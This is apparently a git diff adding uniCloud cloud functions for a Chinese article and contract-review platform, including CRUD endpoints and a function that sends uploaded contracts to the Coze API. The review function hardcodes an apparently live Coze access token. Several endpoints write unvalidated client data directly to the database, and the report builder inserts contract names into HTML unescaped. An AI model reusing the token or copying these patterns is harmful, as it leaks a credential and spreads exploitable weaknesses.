+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.getTableData({
+ dbName: 'jjx-article-category',
+ sortArr: [
+ { name: "sort", type: "asc" },
+ { name: "_id", type: "desc" },
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/update.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/update.js
new file mode 100644
index 0000000..7022832
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/category/sys/update.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/update 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-article-category',
+ dataJson: data,
+ id: data._id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/add.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/add.js
new file mode 100644
index 0000000..f70dbda
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/add.js
@@ -0,0 +1,30 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.add({
+ dbName: 'jjx-article',
+ dataJson: {
+ ...data, ...{
+ viewNum: 0,
+ downloadNum: 0,
+ }
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/delete.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/delete.js
new file mode 100644
index 0000000..826cfd7
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/delete.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.deleteById({
+ dbName: 'jjx-article',
+ id: data._id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/list.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/list.js
new file mode 100644
index 0000000..4c86762
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/list.js
@@ -0,0 +1,37 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/list 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize, sortRule} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: 'jjx-article',
+ pageIndex,
+ pageSize,
+ getCount: true,
+ sortArr: sortRule && sortRule.length ? sortRule : [{"name": "_add_time", "type": "desc"}]
+ });
+
+ for (let i = 0; i < res.rows.length; i++) {
+ if (res.rows[i].parentId) {
+ res.rows[i].category = await vk.baseDao.findById({
+ dbName: "jjx-article-category",
+ id: res.rows[i].parentId
+ })
+ }
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/update.js b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/update.js
new file mode 100644
index 0000000..8e38765
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/article/list/sys/update.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/update 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-article',
+ dataJson: data,
+ id: data._id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/contract/sys/getList.js b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/sys/getList.js
new file mode 100644
index 0000000..d37aebe
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/sys/getList.js
@@ -0,0 +1,90 @@
+'use strict';
+const normalizeSortRule = require('../../utils/sortRule.js');
+
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/old/sys/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { pageIndex, pageSize, formData, sortRule } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const whereJson = {}
+ if (vk.pubfn.isNotNull(formData)) {
+ if (vk.pubfn.isNotNull(formData.transactionId)) whereJson.transactionId = new RegExp(formData.transactionId)
+ if (vk.pubfn.isNotNull(formData.type)) whereJson.type = formData.type
+ if (vk.pubfn.isNotNull(formData.status)) whereJson.status = formData.status
+
+ }
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-contract",
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson,
+ sortArr: normalizeSortRule(sortRule, [{"name": "_add_time", "type":"desc" }], ["_add_time"]),
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ },
+ {
+ dbName: "jjx-user-contract",
+ localKey: "_id",
+ foreignKey: "contractId",
+ as: "userContract",
+ limit: 500, // limit=1则以对象形式返回
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true,
+ mobile: true,
+ },
+ person: {
+ personName: true,
+ mobile: true,
+ },
+ businessCard: true,
+ accountType: true,
+ mobile: true,
+ },
+ }
+ ]
+ },
+
+ ]
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/add.js b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/add.js
new file mode 100644
index 0000000..1bdefe3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/add.js
@@ -0,0 +1,34 @@
+module.exports = {
+ /**
+ * 添加单条数据
+ * @url admin/kong/sys/add 前端调用的url参数地址
+ * data 请求参数 说明
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: 'ok'};
+ // 业务逻辑开始-----------------------------------------------------------
+ let {
+ name,
+ field,
+ isOn,
+ } = data;
+ // 这里需要把 params1 params2 params3 改成你数据库里允许用户添加的字段
+ let dbName = "jjx-contract-template";
+ res.id = await vk.baseDao.add({
+ dbName,
+ dataJson: {
+ name,
+ field,
+ isOn,
+ }
+ });
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/changeField.js b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/changeField.js
new file mode 100644
index 0000000..de6f072
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/changeField.js
@@ -0,0 +1,39 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/old/sys/changeField 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-contract-template",
+ id: data.id,
+ dataJson: {
+ [data.field]: data.value
+ }
+ });
+
+ if (data.field === "isOn" && data.value) {
+ await vk.baseDao.update({
+ dbName: "jjx-contract-template",
+ whereJson: {
+ _id: _.neq(data.id),
+ },
+ dataJson: {
+ "isOn": 0
+ }
+ });
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/delete.js b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/delete.js
new file mode 100644
index 0000000..05d928f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/delete.js
@@ -0,0 +1,30 @@
+module.exports = {
+ /**
+ * 数据删除
+ * @url admin/kong/sys/delete 前端调用的url参数地址
+ * data 请求参数 说明
+ * res 返回参数说明
+ * @param {Number} code 错误码,0表示成功
+ * @param {String} msg 详细信息
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk , db, _ } = util;
+ let { uid } = data;
+ let res = { code : 0, msg : 'ok' };
+ // 业务逻辑开始-----------------------------------------------------------
+ let { _id } = data;
+ if(vk.pubfn.isNull(_id)){
+ return { code : -1, msg : 'id不能为空' };
+ }
+ let dbName = "jjx-contract-template";
+ await vk.baseDao.deleteById({
+ dbName: dbName,
+ id:_id
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/getList.js b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/getList.js
new file mode 100644
index 0000000..21e7f9c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/admin/contract/template/sys/getList.js
@@ -0,0 +1,29 @@
+module.exports = {
+ /**
+ * 查询多条记录 分页
+ * @url admin/kong/sys/getList 前端调用的url参数地址
+ * data 请求参数 说明
+ * @param {Number} pageIndex 当前页码
+ * @param {Number} pageSize 每页显示数量
+ * @param {Array
');
+ html = html.replace(/\n/g, '
');
+ html = '
' + html + '
';
+ // 清理空段落
+ html = html.replace(/\s*<\/p>/g, '');
+ return html;
+}
+
+// 生成精美 HTML 报告
+function generateHtmlReport(markdown, fileName, reportDate, info) {
+ const riskLevel = info.risk_level || '待评估';
+ const riskSummary = info.risk_summary || '';
+ const riskCount = info.risk_count || { high: 0, medium: 0, low: 0 };
+ const contractName = info.contract_name || fileName || '合同审查报告';
+ const contractType = info.contract_type || '';
+
+ // 风险等级颜色
+ let riskColor = '#67c23a';
+ if (riskLevel.includes('高')) riskColor = '#f56c6c';
+ else if (riskLevel.includes('中高')) riskColor = '#e6a23c';
+ else if (riskLevel.includes('中')) riskColor = '#e6a23c';
+ else if (riskLevel.includes('中低')) riskColor = '#409eff';
+
+ return `
+
+
+
+
+${contractName} - 审查报告
+
+
+
+
+
+
+
+
综合风险等级
+
${riskLevel}
+
+
+
风险统计
+
${riskCount.high||0} / ${riskCount.medium||0} / ${riskCount.low||0}
+
+
+
合同类型
+
${contractType || '待识别'}
+
+
+
+
总体评估
+
${riskSummary || '暂无总体评估'}
+
详细审查意见
+ ${mdToHtml(markdown.replace(/```json[\s\S]*?```/, ''))}
+
+ ⚠️ 免责声明:本报告由 AI 系统自动生成,仅供参考,不构成正式法律意见。涉及重大金额或复杂交易的合同,建议咨询执业律师。
+
+
+
+
+
+`;
+}
+
+module.exports = {
+ main: async (event) => {
+ let { data = {}, userInfo } = event;
+ const COZE_TOKEN = 'sat_OiXlI4Da5Q99fxmul6pNfExmA6hR898UbxBDwrvjZ638APxRSlFnXbz6zyFedKNG';
+ const BOT_ID = '7689821072762011698';
+ const db = uniCloud.database();
+ const _ = db.command;
+
+ let fileId = data.file_id;
+
+ // ===== 模式1:上传文件 + 创建待审查记录 =====
+ if (data.upload_only && data.file_base64) {
+ const fileBuffer = Buffer.from(data.file_base64, 'base64');
+ const boundary = '----FormBoundary' + Date.now();
+ const header = Buffer.from(
+ '--' + boundary + '\r\n' +
+ 'Content-Disposition: form-data; name="file"; filename="' + (data.file_name || 'file') + '"\r\n' +
+ 'Content-Type: application/octet-stream\r\n\r\n'
+ );
+ const footer = Buffer.from('\r\n--' + boundary + '--\r\n');
+ const uploadBody = Buffer.concat([header, fileBuffer, footer]);
+
+ try {
+ const uploadRes = await uniCloud.httpclient.request('https://api.coze.cn/v1/files/upload', {
+ method: 'POST',
+ dataType: 'json',
+ headers: {
+ 'Authorization': 'Bearer ' + COZE_TOKEN,
+ 'Content-Type': 'multipart/form-data; boundary=' + boundary,
+ 'Content-Length': uploadBody.length.toString()
+ },
+ content: uploadBody,
+ timeout: 600000
+ });
+ if (uploadRes.data.code !== 0) {
+ return { code: -1, msg: '文件上传失败: ' + uploadRes.data.msg };
+ }
+ fileId = uploadRes.data.data.id;
+
+ // 同时上传到 uniCloud 云存储(用于查看/下载)
+ let fileUrl = '';
+ try {
+ const cloudPath = 'review-files/' + Date.now() + '_' + (data.file_name || 'file');
+ const uploadFileRes = await uniCloud.uploadFile({
+ cloudPath: cloudPath,
+ fileContent: fileBuffer
+ });
+ if (uploadFileRes.fileID) {
+ const urlRes = await uniCloud.getTempFileURL({
+ fileList: [uploadFileRes.fileID]
+ });
+ if (urlRes.fileList && urlRes.fileList[0]) {
+ fileUrl = urlRes.fileList[0].tempFileURL;
+ }
+ }
+ } catch (e) {
+ console.log('云存储上传失败(不影响审查):', e.message);
+ }
+
+ // 创建待审查记录
+ const recordRes = await db.collection('jjx-review-records').add({
+ user_id: (data && data.uid) || 'anonymous',
+ file_name: data.file_name || '',
+ file_size: data.file_size || 0,
+ file_id: fileId,
+ file_url: fileUrl,
+ chat_id: '',
+ conversation_id: '',
+ status: 'uploaded',
+ result: '',
+ points_used: 0,
+ _add_time: new Date(),
+ update_time: new Date()
+ });
+
+ return { code: 0, msg: 'ok', data: { file_id: fileId, record_id: recordRes.id, file_url: fileUrl } };
+ } catch (e) {
+ return { code: -1, msg: '上传异常: ' + e.message };
+ }
+ }
+
+ // ===== 模式2:发起审查(只更新状态,立即返回)=====
+ if (!fileId) return { code: -1, msg: '缺少 file_id' };
+
+ const recordId = data.record_id;
+ if (!recordId) return { code: -1, msg: '缺少 record_id' };
+
+ // 检查当前状态
+ const record = await db.collection('jjx-review-records').doc(recordId).get();
+ if (record.data.length) {
+ const rec = record.data[0];
+
+ // 已完成,直接返回结果
+ if (rec.status === 'completed') {
+ return {
+ code: 0, msg: 'ok',
+ data: {
+ record_id: recordId,
+ status: 'completed',
+ result: rec.result,
+ points_used: rec.points_used,
+ html_url: rec.html_url || '',
+ contract_info: rec.contract_info || {}
+ }
+ };
+ }
+
+ // 正在审查中,直接返回
+ if (rec.status === 'reviewing') {
+ return { code: 0, msg: 'ok', data: { record_id: recordId, status: 'reviewing' } };
+ }
+
+ // 失败,返回错误
+ if (rec.status === 'failed') {
+ return { code: 0, msg: 'ok', data: { record_id: recordId, status: 'failed', result: rec.result || '审查失败' } };
+ }
+ }
+
+ // 更新状态为审查中
+ await db.collection('jjx-review-records').doc(recordId).update({
+ file_id: fileId,
+ file_name: data.file_name || '',
+ file_size: data.file_size || 0,
+ status: 'reviewing',
+ review_started_at: new Date(),
+ update_time: new Date()
+ });
+
+ // ===== 立即返回,审查由定时任务触发 =====
+ return {
+ code: 0, msg: 'ok',
+ data: { record_id: recordId, status: 'reviewing' }
+ };
+ }
+};
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/album/pub/list.js b/uniCloud-tcb/cloudfunctions/router/service/client/album/pub/list.js
new file mode 100644
index 0000000..7f972f4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/album/pub/list.js
@@ -0,0 +1,24 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/list 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, page} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ res = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-album',
+ whereJson: {page},
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/category/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/category/pub/getList.js
new file mode 100644
index 0000000..e78b952
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/category/pub/getList.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/category/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.getTableData({
+ dbName: 'jjx-article-category',
+ sortArr: [
+ { name: "sort", type: "asc" },
+ { name: "_id", type: "desc" },
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/changeCollect.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/changeCollect.js
new file mode 100644
index 0000000..6b7c9dc
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/changeCollect.js
@@ -0,0 +1,43 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/collect/kh/changeCollect 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const collect = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-article-collect',
+ whereJson: {
+ uid,
+ articleId: data.articleId
+ }
+ })
+
+ if (collect) {
+ await vk.baseDao.deleteById({
+ dbName: "jjx-article-collect",
+ id: collect._id
+ });
+ } else {
+ await vk.baseDao.add({
+ dbName: "jjx-article-collect",
+ dataJson: {
+ uid,
+ articleId: data.articleId
+ }
+ });
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/check.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/check.js
new file mode 100644
index 0000000..c5b53d6
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/check.js
@@ -0,0 +1,29 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/collect/kh/check 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const collect = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-article-collect',
+ whereJson: {
+ uid,
+ articleId: data.articleId
+ }
+ })
+
+ res.data = !!collect
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/getList.js
new file mode 100644
index 0000000..bb52bc9
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/collect/kh/getList.js
@@ -0,0 +1,42 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/collect/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: 'jjx-article-collect',
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson: {
+ uid
+ },
+ sortArr: [
+ {name: "_id", type: "desc"}
+ ],
+ foreignDB: [
+ {
+ dbName: "jjx-article",
+ localKey: "articleId",
+ foreignKey: "_id",
+ as: "article",
+ limit: 1
+ },
+ ]
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/add.js
new file mode 100644
index 0000000..f22e98c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/add.js
@@ -0,0 +1,29 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.add({
+ dbName: 'jjx-article',
+ dataJson: {
+ ...data, ...{
+ viewNum: 0,
+ downloadNum: 0,
+ }
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/addDownload.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/addDownload.js
new file mode 100644
index 0000000..9ae65e2
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/addDownload.js
@@ -0,0 +1,50 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/kh/addDownload 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ if (userInfo.userLevel < 0) return {code: 1, msg: "非会员,无法下载"};
+ if (userInfo.userLevel === 0 && userInfo.remainArticleDownloadNum === 0) return {code: 1, msg: "无下载次数,无法下载"};
+ // if (userInfo.userLevel === 0 && userInfo.remainArticleDownloadNum > 0) {
+ // await vk.baseDao.update({
+ // dbName: 'uni-id-users',
+ // whereJson: {
+ // _id: uid,
+ // },
+ // dataJson: {
+ // remainArticleDownloadNum: _.inc(-1)
+ // }
+ // })
+ // }
+ const check = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-article-download",
+ whereJson: {
+ uid,
+ articleId: data.id
+ }
+ });
+
+ if (!check) {
+ await vk.baseDao.add({
+ dbName: "jjx-article-download",
+ dataJson: {
+ uid,
+ articleId: data.id
+ }
+ });
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/check.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/check.js
new file mode 100644
index 0000000..9f040cc
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/check.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/kh/check 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res.data = !!await vk.baseDao.findByWhereJson({
+ dbName: "jjx-article-download",
+ whereJson: {
+ uid,
+ articleId: data.id
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/getDownloadList.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/getDownloadList.js
new file mode 100644
index 0000000..57edbe9
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/getDownloadList.js
@@ -0,0 +1,42 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/kh/addDownload 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-article-download",
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson: {
+ uid,
+ },
+ sortArr: [
+ {name: "_id", type: "desc"}
+ ],
+ foreignDB: [
+ {
+ dbName: "jjx-article",
+ localKey: "articleId",
+ foreignKey: "_id",
+ as: "article",
+ limit: 1
+ },
+ ]
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/getUserList.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/getUserList.js
new file mode 100644
index 0000000..a7b0c90
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/kh/getUserList.js
@@ -0,0 +1,33 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/kh/getUserList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.select({
+ dbName: 'jjx-article',
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson: {
+ uid
+ },
+ sortArr: [
+ {name: "_id", type: "desc"}
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/addDownload.js b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/addDownload.js
new file mode 100644
index 0000000..faa2f77
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/article/list/pub/addDownload.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/pub/addDownload 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
